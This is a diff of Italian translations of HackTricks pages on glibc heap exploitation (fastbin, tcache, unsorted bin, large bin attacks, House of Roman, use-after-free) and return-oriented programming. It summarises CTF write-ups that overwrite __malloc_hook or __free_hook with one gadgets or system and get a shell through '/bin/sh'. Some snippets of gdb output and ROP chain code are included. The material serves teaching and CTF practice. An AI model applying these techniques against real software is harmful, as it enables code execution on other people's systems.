gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
@ -570,6 +570,7 @@ Quando viene utilizzato malloc e un chunk viene diviso (ad esempio dal bin non o
Controlla:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
@ -578,6 +579,7 @@ heap-memory-functions/malloc-and-sysmalloc.md
Controlla:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
@ -586,6 +588,7 @@ heap-memory-functions/free.md
Controlla i controlli di sicurezza eseguiti dalle funzioni ampiamente utilizzate nell'heap in:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}

5
src/binary-exploitation/libc-heap/fast-bin-attack.md
View File

@ -6,11 +6,12 @@
Per ulteriori informazioni su cosa sia un fast bin, controlla questa pagina:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Poiché il fast bin è una lista collegata singola, ci sono molte meno protezioni rispetto ad altri bin e **modificare un indirizzo in un chunk fast bin liberato** è sufficiente per poter **allocare successivamente un chunk in qualsiasi indirizzo di memoria**.
Poiché il fast bin è una lista collegata singola, ci sono molte meno protezioni rispetto ad altri bin e basta **modificare un indirizzo in un chunk fast bin liberato** per poter **allocare successivamente un chunk in qualsiasi indirizzo di memoria**.
In sintesi:
```c
@ -125,7 +126,7 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- È possibile allocare chunk, liberarli, leggere i loro contenuti e riempirli (con una vulnerabilità di overflow).
- **Consolidare chunk per infoleak**: La tecnica consiste fondamentalmente nell'abusare dell'overflow per creare un falso `prev_size` in modo che un chunk precedente venga inserito all'interno di uno più grande, quindi quando si allocca il più grande contenente un altro chunk, è possibile stampare i suoi dati e rivelare un indirizzo a libc (`main_arena+88`).
- **Sovrascrivere malloc hook**: Per questo, e abusando della situazione di sovrapposizione precedente, è stato possibile avere 2 chunk che puntavano alla stessa memoria. Pertanto, liberandoli entrambi (liberando un altro chunk nel mezzo per evitare protezioni) è stato possibile avere lo stesso chunk nel fast bin 2 volte. Poi, è stato possibile allocarlo di nuovo, sovrascrivere l'indirizzo del chunk successivo per puntare a un po' prima di `__malloc_hook` (quindi punta a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e poi allocare un altro chunk che riceverà un indirizzo ai malloc hooks.\
- **Sovrascrivere malloc hook**: Per questo, e abusando della situazione di sovrapposizione precedente, è stato possibile avere 2 chunk che puntavano alla stessa memoria. Pertanto, liberandoli entrambi (liberando un altro chunk nel mezzo per evitare protezioni) è stato possibile avere lo stesso chunk nel fast bin 2 volte. Poi, è stato possibile allocarlo di nuovo, sovrascrivere l'indirizzo del chunk successivo per puntare a un po' prima di `__malloc_hook` (quindi punta a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e poi allocare un altro chunk che riceverà un indirizzo per malloc hooks.\
Infine, un **one gadget** è stato scritto lì.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- C'è un overflow dell'heap e uso dopo la liberazione e doppia liberazione perché quando un chunk viene liberato è possibile riutilizzare e ri-liberare i puntatori.

8
src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
View File

@ -1,4 +1,4 @@
# Controlli di Sicurezza delle Funzioni Heap
# Heap Functions Security Checks
{{#include ../../../banners/hacktricks-training.md}}
@ -55,7 +55,7 @@ malloc-and-sysmalloc.md
- Messaggio di errore: `malloc(): mismatching next->prev_size (unsorted)`
- Se non `victim->bck->fd == victim` o non `victim->fd == av (arena)`:
- Messaggio di errore: `malloc(): unsorted double linked list corrupted`
- Poiché stiamo sempre controllando l'ultimo, il suo fd dovrebbe sempre puntare alla struttura arena.
- Poiché controlliamo sempre l'ultimo, il suo fd dovrebbe sempre puntare alla struttura arena.
- Se il chunk successivo non indica che il precedente è in uso:
- Messaggio di errore: `malloc(): invalid next->prev_inuse (unsorted)`
- Se `fwd->bk_nextsize->fd_nextsize != fwd`:
@ -111,7 +111,7 @@ free.md
- Se il chunk liberato era già stato liberato ed è presente come chunk nel tcache:
- Messaggio di errore: `free(): double free detected in tcache 2`
- **Controlli in `_int_free` fast bin:**
- Se la dimensione del chunk è non valida (troppo grande o piccola) attiva:
- Se la dimensione del chunk è invalida (troppo grande o piccola) attiva:
- Messaggio di errore: `free(): invalid next size (fast)`
- Se il chunk aggiunto era già il top del fast bin:
- Messaggio di errore: `double free or corruption (fasttop)`
@ -135,7 +135,7 @@ free.md
## **`_int_free_create_chunk`**
- **Controlli in `_int_free_create_chunk`:**
- Aggiungendo un chunk nel unsorted bin, controlla se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Aggiungendo un chunk nel bin non ordinato, controlla se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Messaggio di errore: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`

8
src/binary-exploitation/libc-heap/house-of-roman.md
View File

@ -17,7 +17,7 @@ Questa era una tecnica molto interessante che consentiva RCE senza leak tramite
### Requisiti
- Modificare i puntatori fastbin e unsorted bin
- 12 bit di casualità devono essere forzati (0.02% di possibilità) di funzionare
- 12 bit di casualità devono essere forzati (0,02% di possibilità) di funzionare
## Passi di Attacco
@ -25,7 +25,7 @@ Questa era una tecnica molto interessante che consentiva RCE senza leak tramite
Crea diversi chunk:
- `fastbin_victim` (0x60, offset 0): chunk UAF da modificare successivamente per puntare al valore LibC.
- `fastbin_victim` (0x60, offset 0): chunk UAF da modificare successivamente per puntare al valore di LibC.
- `chunk2` (0x80, offset 0x70): Per una buona allineamento
- `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): offset relativo sul chunk 'main_arena_use'
@ -51,13 +51,13 @@ unsorted: leftover_main
```
- `fastbin_victim` ha un `fd` che punta a `relative_offset_heap`
- `relative_offset_heap` è un offset di distanza da `fake_libc_chunk`, che contiene un puntatore a `main_arena + 0x68`
- Cambiando semplicemente l'ultimo byte di `fastbin_victim.fd` è possibile far sì che `fastbin_victim punti` a `main_arena + 0x68`
- Modificando solo l'ultimo byte di `fastbin_victim.fd` è possibile far sì che `fastbin_victim` punti a `main_arena + 0x68`
Per le azioni precedenti, l'attaccante deve essere in grado di modificare il puntatore fd di `fastbin_victim`.
Poi, `main_arena + 0x68` non è così interessante, quindi modifichiamolo affinché il puntatore punti a **`__malloc_hook`**.
Nota che `__memalign_hook` di solito inizia con `0x7f` e zeri prima di esso, quindi è possibile falsificarlo come un valore nel fast bin `0x70`. Poiché gli ultimi 4 bit dell'indirizzo sono **random**, ci sono `2^4=16` possibilità per il valore finale a cui siamo interessati. Quindi qui viene eseguito un attacco BF affinché il chunk finisca come: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
Nota che `__memalign_hook` di solito inizia con `0x7f` e zeri prima di esso, quindi è possibile falsificarlo come un valore nel fast bin `0x70`. Poiché gli ultimi 4 bit dell'indirizzo sono **casuali**, ci sono `2^4=16` possibilità affinché il valore punti dove ci interessa. Quindi qui viene eseguito un attacco BF affinché il chunk finisca come: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**.
(Per ulteriori informazioni sugli altri byte, controlla la spiegazione nell'[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ esempio](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Se il BF non funziona, il programma si blocca semplicemente (quindi inizia di nuovo finché non funziona).

6
src/binary-exploitation/libc-heap/large-bin-attack.md
View File

@ -18,7 +18,7 @@ In quell'esempio puoi trovare le seguenti condizioni:
- Un grande chunk è allocato
- Un grande chunk più piccolo del primo ma nello stesso indice è allocato
- Deve essere più piccolo, quindi deve andare per primo nel bin
- Deve essere più piccolo, quindi nel bin deve andare per primo
- (Un chunk per prevenire la fusione con il chunk superiore è creato)
- Poi, il primo grande chunk viene liberato e un nuovo chunk più grande di esso viene allocato -> Chunk1 va nel large bin
- Poi, il secondo grande chunk viene liberato
@ -26,7 +26,7 @@ In quell'esempio puoi trovare le seguenti condizioni:
- Poi, un chunk più grande del chunk 2 viene allocato, quindi chunk2 viene inserito nel large bin sovrascrivendo l'indirizzo `chunk1->bk_nextsize->fd_nextsize` con l'indirizzo di chunk2
> [!TIP]
> Ci sono altri scenari potenziali, la cosa è aggiungere al large bin un chunk che è **più piccolo** di un attuale chunk X nel bin, quindi deve essere inserito proprio prima di esso nel bin, e dobbiamo essere in grado di modificare **`bk_nextsize`** di X poiché è lì che verrà scritto l'indirizzo del chunk più piccolo.
> Ci sono altri scenari potenziali, la cosa è aggiungere al large bin un chunk che è **più piccolo** di un attuale chunk X nel bin, quindi deve essere inserito proprio prima di esso nel bin, e dobbiamo essere in grado di modificare **`bk_nextsize`** di X poiché è lì che l'indirizzo del chunk più piccolo sarà scritto.
Questo è il codice rilevante da malloc. Sono stati aggiunti commenti per comprendere meglio come l'indirizzo è stato sovrascritto:
```c
@ -50,7 +50,7 @@ Puoi trovare un'altra ottima spiegazione di questo attacco in [**guyinatuxedo**]
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- Attacco large bin nella stessa situazione in cui appare in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- La scrittura primitiva è più complessa, perché `global_max_fast` è inutile qui.
- Il primitivo di scrittura è più complesso, perché `global_max_fast` è inutile qui.
- FSOP è necessario per completare l'exploit.
{{#include ../../banners/hacktricks-training.md}}

18
src/binary-exploitation/libc-heap/tcache-bin-attack.md
View File

@ -18,29 +18,29 @@ Tuttavia, oggigiorno, se esegui il codice menzionato, riceverai l'errore: **`mal
### Attacco agli indici Tcache
Di solito è possibile trovare all'inizio dell'heap un chunk contenente la **quantità di chunk per indice** all'interno del tcache e l'indirizzo del **chunk principale di ciascun indice tcache**. Se per qualche motivo è possibile modificare queste informazioni, sarebbe possibile **far puntare il chunk principale di un indice a un indirizzo desiderato** (come `__malloc_hook`) per poi allocare un chunk della dimensione dell'indice e sovrascrivere i contenuti di `__malloc_hook` in questo caso.
Di solito è possibile trovare all'inizio dell'heap un chunk contenente la **quantità di chunk per indice** all'interno del tcache e l'indirizzo al **chunk head di ciascun indice tcache**. Se per qualche motivo è possibile modificare queste informazioni, sarebbe possibile **far puntare il chunk head di un indice a un indirizzo desiderato** (come `__malloc_hook`) per poi allocare un chunk della dimensione dell'indice e sovrascrivere i contenuti di `__malloc_hook` in questo caso.
## Esempi
## Examples
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc info leak**: È possibile riempire i tcache, aggiungere un chunk nella lista non ordinata, svuotare il tcache e **ri-allocare il chunk dal bin non ordinato** sovrascrivendo solo i primi 8B, lasciando **il secondo indirizzo a libc del chunk intatto in modo da poterlo leggere**.
- **Attacco Tcache**: Il binario è vulnerabile a un overflow dell'heap di 1B. Questo sarà abusato per cambiare l'**header della dimensione** di un chunk allocato rendendolo più grande. Poi, questo chunk sarà **liberato**, aggiungendolo al tcache di chunk di dimensione falsa. Poi, allochiamo un chunk con la dimensione falsa, e il chunk precedente sarà **restituito sapendo che questo chunk era in realtà più piccolo** e questo offre l'opportunità di **sovrascrivere il prossimo chunk in memoria**.\
- **Libc info leak**: È possibile riempire i tcache, aggiungere un chunk nella lista non ordinata, svuotare il tcache e **ri-allocare il chunk dal bin non ordinato** sovrascrivendo solo i primi 8B, lasciando il **secondo indirizzo a libc del chunk intatto in modo da poterlo leggere**.
- **Attacco Tcache**: Il binario è vulnerabile a un overflow dell'heap di 1B. Questo sarà abusato per cambiare l'**header di dimensione** di un chunk allocato rendendolo più grande. Poi, questo chunk sarà **liberato**, aggiungendolo al tcache di chunk di dimensione falsa. Poi, allochiamo un chunk con la dimensione falsa, e il chunk precedente sarà **restituito sapendo che questo chunk era in realtà più piccolo** e questo offre l'opportunità di **sovrascrivere il prossimo chunk in memoria**.\
Abuseremo di questo per **sovrascrivere il puntatore FD del prossimo chunk** per puntare a **`malloc_hook`**, in modo che sia possibile allocare 2 puntatori: prima il puntatore legittimo che abbiamo appena modificato, e poi la seconda allocazione restituirà un chunk in **`malloc_hook`** che è possibile abusare per scrivere un **one gadget**.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc info leak**: C'è un use after free e un double free. In questo writeup l'autore ha fatto trapelare un indirizzo di libc leggendo l'indirizzo di un chunk posizionato in un bin piccolo (come se lo si stesse facendo trapelare dal bin non ordinato ma dal piccolo).
- **Attacco Tcache**: Un Tcache viene eseguito tramite un **double free**. Lo stesso chunk viene liberato due volte, quindi all'interno del Tcache il chunk punterà a se stesso. Poi, viene allocato, il suo puntatore FD viene modificato per puntare al **free hook** e poi viene allocato di nuovo, quindi il prossimo chunk nella lista sarà nel free hook. Poi, questo viene anche allocato ed è possibile scrivere l'indirizzo di `system` qui, quindi quando un malloc contenente `"/bin/sh"` viene liberato otteniamo una shell.
- **Libc info leak**: C'è un uso dopo la liberazione e un doppio libero. In questo writeup l'autore ha fatto trapelare un indirizzo di libc leggendo l'indirizzo di un chunk posizionato in un piccolo bin (come se lo si liberasse dal bin non ordinato ma dal piccolo).
- **Attacco Tcache**: Un Tcache viene eseguito tramite un **doppio libero**. Lo stesso chunk viene liberato due volte, quindi all'interno del Tcache il chunk punterà a se stesso. Poi, viene allocato, il suo puntatore FD viene modificato per puntare al **free hook** e poi viene allocato di nuovo, quindi il prossimo chunk nella lista andrà nel free hook. Poi, questo viene anche allocato ed è possibile scrivere l'indirizzo di `system` qui, quindi quando un malloc contenente `"/bin/sh"` viene liberato otteniamo una shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- La principale vulnerabilità qui è la capacità di `free` qualsiasi indirizzo nell'heap indicando il suo offset.
- **Attacco agli indici Tcache**: È possibile allocare e liberare un chunk di una dimensione che, quando memorizzato all'interno del chunk tcache (il chunk con le informazioni dei bin tcache), genererà un **indirizzo con il valore 0x100**. Questo perché il tcache memorizza la quantità di chunk in ciascun bin in byte diversi, quindi un chunk in un indice specifico genera il valore 0x100.
- Poi, questo valore sembra che ci sia un chunk di dimensione 0x100. Permettendo di abusarne liberando questo indirizzo. Questo **aggiungerà quell'indirizzo all'indice dei chunk di dimensione 0x100 nel tcache**.
- Poi, **allocando** un chunk di dimensione **0x100**, l'indirizzo precedente verrà restituito come un chunk, permettendo di sovrascrivere altri indici tcache.\
- Poi, questo valore sembra che ci sia un chunk di dimensione 0x100. Consentendo di abusarne liberando questo indirizzo. Questo **aggiungerà quell'indirizzo all'indice dei chunk di dimensione 0x100 nel tcache**.
- Poi, **allocando** un chunk di dimensione **0x100**, l'indirizzo precedente verrà restituito come un chunk, consentendo di sovrascrivere altri indici tcache.\
Ad esempio, mettendo l'indirizzo di malloc hook in uno di essi e allocando un chunk della dimensione di quell'indice garantirà un chunk nel calloc hook, che consente di scrivere un one gadget per ottenere una shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Stessa vulnerabilità di prima con una restrizione extra.
- **Attacco agli indici Tcache**: Attacco simile a quello precedente ma utilizzando meno passaggi liberando **il chunk che contiene le informazioni tcache** in modo che il suo indirizzo venga aggiunto all'indice tcache della sua dimensione, quindi è possibile allocare quella dimensione e ottenere le informazioni del chunk tcache come un chunk, il che consente di aggiungere il free hook come indirizzo di un indice, allocarlo e scrivere un one gadget su di esso.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** per aggiungere un numero al puntatore `fd`.
- È necessaria molta **heap feng-shui** in questa sfida. Lo writeup mostra come **controllare la testa della lista libera Tcache** sia molto utile.
- È necessario molto **heap feng-shui** in questa sfida. Il writeup mostra come **controllare la testa della lista libera Tcache** sia molto utile.
- **Glibc leak** tramite `stdout` (FSOP).
- **Avvelenamento Tcache** per ottenere una scrittura arbitraria primitiva.

20
src/binary-exploitation/libc-heap/unsorted-bin-attack.md
View File

@ -10,7 +10,7 @@ Per ulteriori informazioni su cosa sia un unsorted bin, controlla questa pagina:
bins-and-memory-allocations.md
{{#endref}}
Le liste non ordinate possono scrivere l'indirizzo in `unsorted_chunks (av)` nell'indirizzo `bk` del chunk. Pertanto, se un attaccante può **modificare l'indirizzo del puntatore `bk`** in un chunk all'interno dell'unsorted bin, potrebbe essere in grado di **scrivere quell'indirizzo in un indirizzo arbitrario**, il che potrebbe essere utile per rivelare indirizzi Glibc o bypassare alcune difese.
Le liste non ordinate sono in grado di scrivere l'indirizzo in `unsorted_chunks (av)` nell'indirizzo `bk` del chunk. Pertanto, se un attaccante può **modificare l'indirizzo del puntatore `bk`** in un chunk all'interno dell'unsorted bin, potrebbe essere in grado di **scrivere quell'indirizzo in un indirizzo arbitrario**, il che potrebbe essere utile per rivelare indirizzi Glibc o bypassare alcune difese.
Quindi, fondamentalmente, questo attacco consente di **impostare un grande numero in un indirizzo arbitrario**. Questo grande numero è un indirizzo, che potrebbe essere un indirizzo heap o un indirizzo Glibc. Un obiettivo tipico è **`global_max_fast`** per consentire di creare fast bin con dimensioni maggiori (e passare da un attacco unsorted bin a un attacco fast bin).
@ -28,10 +28,10 @@ Il codice di [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_at
## Unsorted Bin Infoleak Attack
Questo è in realtà un concetto molto basilare. I chunk nell'unsorted bin avranno puntatori. Il primo chunk nell'unsorted bin avrà effettivamente i link **`fd`** e **`bk`** **che puntano a una parte dell'arena principale (Glibc)**.\
Questo è in realtà un concetto molto basilare. I chunk nell'unsorted bin avranno dei puntatori. Il primo chunk nell'unsorted bin avrà effettivamente i link **`fd`** e **`bk`** **che puntano a una parte dell'arena principale (Glibc)**.\
Pertanto, se puoi **mettere un chunk all'interno di un unsorted bin e leggerlo** (use after free) o **allocarlo di nuovo senza sovrascrivere almeno 1 dei puntatori** per poi **leggerlo**, puoi avere una **Glibc info leak**.
Un simile [**attacco usato in questo writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) è stato quello di abusare di una struttura di 4 chunk (A, B, C e D - D serve solo a prevenire la consolidazione con il top chunk) quindi un overflow di byte nullo in B è stato utilizzato per far indicare a C che B era inutilizzato. Inoltre, in B i dati `prev_size` sono stati modificati in modo che la dimensione invece di essere la dimensione di B fosse A+B.\
Un simile [**attacco utilizzato in questo writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) è stato quello di abusare di una struttura di 4 chunk (A, B, C e D - D serve solo a prevenire la consolidazione con il top chunk) quindi un overflow di byte nullo in B è stato utilizzato per far indicare a C che B non era utilizzato. Inoltre, in B i dati `prev_size` sono stati modificati in modo che la dimensione invece di essere la dimensione di B fosse A+B.\
Poi C è stato deallocato e consolidato con A+B (ma B era ancora in uso). Un nuovo chunk di dimensione A è stato allocato e poi gli indirizzi di libc sono stati scritti in B da dove sono stati rivelati.
## References & Other examples
@ -39,7 +39,7 @@ Poi C è stato deallocato e consolidato con A+B (ma B era ancora in uso). Un nuo
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- L'obiettivo è sovrascrivere una variabile globale con un valore maggiore di 4869 in modo da poter ottenere il flag e PIE non è abilitato.
- È possibile generare chunk di dimensioni arbitrarie e c'è un overflow heap con la dimensione desiderata.
- L'attacco inizia creando 3 chunk: chunk0 per abusare dell'overflow, chunk1 per essere sovrascritto e chunk2 affinché il top chunk non consolidi i precedenti.
- L'attacco inizia creando 3 chunk: chunk0 per abusare dell'overflow, chunk1 da sovrascrivere e chunk2 affinché il top chunk non consolidi i precedenti.
- Poi, chunk1 viene liberato e chunk0 viene sovrascritto in modo che il puntatore `bk` di chunk1 punti a: `bk = magic - 0x10`
- Poi, chunk3 viene allocato con la stessa dimensione di chunk1, il che attiverà l'attacco unsorted bin e modificherà il valore della variabile globale, rendendo possibile ottenere il flag.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
@ -47,9 +47,9 @@ Poi C è stato deallocato e consolidato con A+B (ma B era ancora in uso). Un nuo
- Pertanto, **vengono creati 2 chunk**: **chunk0** che verrà unito con se stesso e chunk1 per prevenire la consolidazione con il top chunk. Poi, la **funzione di merge viene chiamata con chunk0** due volte, il che causerà un use after free.
- Poi, la **funzione `view`** viene chiamata con l'indice 2 (che è l'indice del chunk use after free), il che **rivelerà un indirizzo libc**.
- Poiché il binario ha protezioni per allocare solo dimensioni maggiori di **`global_max_fast`**, quindi non viene utilizzato alcun fastbin, verrà utilizzato un attacco unsorted bin per sovrascrivere la variabile globale `global_max_fast`.
- Poi, è possibile chiamare la funzione di modifica con l'indice 2 (il puntatore use after free) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Poi, creando un nuovo chunk utilizzerà l'indirizzo liberato precedentemente compromesso (0x20) che **attiverà l'attacco unsorted bin** sovrascrivendo il `global_max_fast` con un valore molto grande, consentendo ora di creare chunk nei fast bin.
- Poi, è possibile chiamare la funzione di modifica con l'indice 2 (il puntatore use after free) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Poi, creando un nuovo chunk utilizzerà l'indirizzo libero precedentemente compromesso (0x20) che **attiverà l'attacco unsorted bin** sovrascrivendo il `global_max_fast` con un valore molto grande, consentendo ora di creare chunk nei fast bin.
- Ora viene eseguito un **attacco fast bin**:
- Prima di tutto, si scopre che è possibile lavorare con fast **chunk di dimensione 200** nella posizione **`__free_hook`**:
- Prima di tutto si scopre che è possibile lavorare con fast **chunk di dimensione 200** nella posizione **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
@ -58,15 +58,15 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Se riusciamo a ottenere un fast chunk di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore di funzione che verrà eseguito
- Se riusciamo a ottenere un fast chunk di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore di funzione che verrà eseguito.
- Per questo, viene creato un nuovo chunk di dimensione `0xfc` e la funzione di merge viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin.
- Poi, la funzione di modifica viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin per puntare alla precedente funzione **`__free_hook`**.
- Poi, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il chunk precedente inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un fast bin chunk nella **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
- Poi, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un chunk fast bin nella **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
- E infine, un chunk contenente la stringa `/bin/sh\x00` viene liberato chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Un altro esempio di abuso di un overflow di 1B per consolidare chunk nell'unsorted bin e ottenere una libc infoleak e poi eseguire un attacco fast bin per sovrascrivere malloc hook con un indirizzo one gadget
- Un altro esempio di abuso di un overflow di 1B per consolidare chunk nell'unsorted bin e ottenere una libc infoleak e poi eseguire un attacco fast bin per sovrascrivere malloc hook con un indirizzo one gadget.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Possiamo solo allocare chunk di dimensione maggiore di `0x100`.
- Possiamo solo allocare chunk di dimensioni maggiori di `0x100`.
- Sovrascrivere `global_max_fast` utilizzando un attacco Unsorted Bin (funziona 1/16 volte a causa di ASLR, perché dobbiamo modificare 12 bit, ma dobbiamo modificare 16 bit).
- Attacco Fast Bin per modificare un array globale di chunk. Questo fornisce una primitiva di lettura/scrittura arbitraria, che consente di modificare il GOT e impostare alcune funzioni per puntare a `system`.

8
src/binary-exploitation/libc-heap/use-after-free/README.md
View File

@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di Base
## Basic Information
Come suggerisce il nome, questa vulnerabilità si verifica quando un programma **memorizza dello spazio** nell'heap per un oggetto, **scrive** alcune informazioni lì, **libera** apparentemente perché non è più necessario e poi **accede di nuovo**.
Il problema qui è che non è illegale (non ci **saranno errori**) quando si **accede a una memoria liberata**. Quindi, se il programma (o l'attaccante) riesce a **allocare la memoria liberata e memorizzare dati arbitrari**, quando la memoria liberata viene accessibile dal puntatore iniziale, **quelli dati sarebbero stati sovrascritti**, causando una **vulnerabilità che dipenderà dalla sensibilità dei dati** che erano stati memorizzati originariamente (se era un puntatore a una funzione che doveva essere chiamata, un attaccante potrebbe controllarla).
Il problema qui è che non è illegale (non **ci saranno errori**) quando si **accede a una memoria liberata**. Quindi, se il programma (o l'attaccante) riesce a **allocare la memoria liberata e memorizzare dati arbitrari**, quando la memoria liberata viene accessibile dal puntatore iniziale, **quella data sarebbe stata sovrascritta**, causando una **vulnerabilità che dipenderà dalla sensibilità dei dati** che erano stati memorizzati originariamente (se era un puntatore a una funzione che doveva essere chiamata, un attaccante potrebbe controllarla).
### Attacco First Fit
### First Fit attack
Un attacco first fit mira al modo in cui alcuni allocatori di memoria, come in glibc, gestiscono la memoria liberata. Quando si libera un blocco di memoria, viene aggiunto a un elenco, e le nuove richieste di memoria prelevano da quell'elenco dalla fine. Gli attaccanti possono utilizzare questo comportamento per manipolare **quali blocchi di memoria vengono riutilizzati, potenzialmente guadagnando il controllo su di essi**. Questo può portare a problemi di "use-after-free", dove un attaccante potrebbe **cambiare il contenuto della memoria che viene riallocata**, creando un rischio per la sicurezza.\
Un attacco first fit prende di mira il modo in cui alcuni allocatori di memoria, come in glibc, gestiscono la memoria liberata. Quando si libera un blocco di memoria, viene aggiunto a un elenco, e le nuove richieste di memoria prelevano da quell'elenco dalla fine. Gli attaccanti possono utilizzare questo comportamento per manipolare **quali blocchi di memoria vengono riutilizzati, potenzialmente guadagnando il controllo su di essi**. Questo può portare a problemi di "use-after-free", dove un attaccante potrebbe **cambiare il contenuto della memoria che viene riallocata**, creando un rischio per la sicurezza.\
Controlla ulteriori informazioni in:
{{#ref}}

14
src/binary-exploitation/rop-return-oriented-programing/README.md
View File

@ -9,7 +9,7 @@
### Come Funziona ROP
1. **Dirottamento del Flusso di Controllo**: Prima, un attaccante deve dirottare il flusso di controllo di un programma, tipicamente sfruttando un buffer overflow per sovrascrivere un indirizzo di ritorno salvato nello stack.
2. **Collegamento dei Gadget**: L'attaccante seleziona e collega con attenzione i gadget per eseguire le azioni desiderate. Questo potrebbe comportare la configurazione degli argomenti per una chiamata di funzione, chiamare la funzione (ad esempio, `system("/bin/sh")`), e gestire eventuali operazioni di pulizia o aggiuntive necessarie.
2. **Collegamento dei Gadget**: L'attaccante seleziona e collega con attenzione i gadget per eseguire le azioni desiderate. Questo potrebbe comportare la configurazione degli argomenti per una chiamata di funzione, la chiamata della funzione (ad esempio, `system("/bin/sh")`), e la gestione di eventuali operazioni di pulizia o aggiuntive necessarie.
3. **Esecuzione del Payload**: Quando la funzione vulnerabile restituisce, invece di tornare a una posizione legittima, inizia a eseguire la catena di gadget.
### Strumenti
@ -86,7 +86,7 @@ p.interactive()
Per il nostro scopo, concentriamoci sui gadget che ci permetteranno di impostare il registro **RDI** (per passare la stringa **"/bin/sh"** come argomento a **system()**) e poi chiamare la funzione **system()**. Assumeremo di aver identificato i seguenti gadget:
- **pop rdi; ret**: Estrae il valore superiore dello stack in **RDI** e poi restituisce. Essenziale per impostare il nostro argomento per **system()**.
- **ret**: Un semplice ritorno, utile per l'allineamento dello stack in alcune situazioni.
- **ret**: Un semplice ritorno, utile per l'allineamento dello stack in alcuni scenari.
E sappiamo l'indirizzo della funzione **system()**.
@ -131,16 +131,16 @@ In questo esempio:
- Utilizziamo il gadget **`pop rdi; ret`** per impostare **`RDI`** all'indirizzo di **`"/bin/sh"`**.
- Saltiamo direttamente a **`system()`** dopo aver impostato **`RDI`**, con l'indirizzo di **system()** nella catena.
